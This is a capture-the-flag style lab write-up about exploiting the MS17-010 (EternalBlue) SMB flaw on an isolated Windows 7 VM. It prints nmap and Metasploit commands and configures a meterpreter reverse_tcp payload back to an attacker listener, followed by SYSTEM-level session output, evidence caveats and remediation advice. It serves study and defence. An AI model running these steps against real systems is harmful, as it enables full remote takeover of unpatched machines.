Blue
From SMB to SYSTEM.

Result: SYSTEM access on the isolated Windows 7 SP1 x64 VM. Saved terminal evidence confirms an EternalBlue session and its identity; the scan outputs in the longer report are expected examples.

Attack path

SMB discovery → MS17-010 checks → x64 EternalBlue → Meterpreter → NT AUTHORITY\SYSTEM.

01 / Enumerate and check SMB

The report’s enumeration sequence focuses on TCP/445 and verifies MS17-010 before exploitation. Set LAB_TARGET to the isolated VM address in the shell.

sudo nmap -p- -sC -sV -O -T4 "$LAB_TARGET" -oN blue_nmap.txt
nmap -Pn -p445 --script smb-vuln-ms17-010 "$LAB_TARGET"

# Metasploit scanner
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <LAB_TARGET>
run

A positive scanner result supports the vulnerability hypothesis; it does not demonstrate command execution. The supplied report labels its scanner output as expected rather than a saved result.

02 / Match the payload architecture

The retained configuration screenshot shows the EternalBlue module and x64 Meterpreter payload. This sequence reflects that configuration with addresses replaced:

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <LAB_TARGET>
set RPORT 445
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <LAB_KALI>
set LPORT 4444
show options
check
exploit

The supplied walkthrough uses port 2222; the actual captured session uses 4444. Either is a configurable listener port, but 4444 is the historical value shown here. Target and payload architecture must agree.

03 / Verify the session

The capture records a successful overwrite and an opened Meterpreter session. whoami at the Meterpreter prompt failed as an unknown command; getuid correctly identified the session:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo
OS: Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture: x64
Meterpreter: x64/windows

These are selected captured lines, with the local machine name omitted. The report also recommends native-shell verification; these are follow-up commands, not additional retained output:

# At the Meterpreter prompt
shell
# In the resulting Windows command shell
whoami
whoami /priv
hostname

Findings → fixes

• Vulnerable SMB service: apply applicable MS17-010 fixes and migrate unsupported Windows systems.
• Legacy protocol exposure: disable SMBv1 where unnecessary and restrict SMB reachability.
• High-impact execution: the recorded session already had SYSTEM privileges; this path needed no separate local escalation.

Evidence limits

The saved terminal confirms the module, payload, opened session, and SYSTEM identity. Scanner output in the supplied report remains illustrative. Original notes record a VM crash, so successful exploitation must not be equated with stability. No remediation retest is claimed.

← All selected write-ups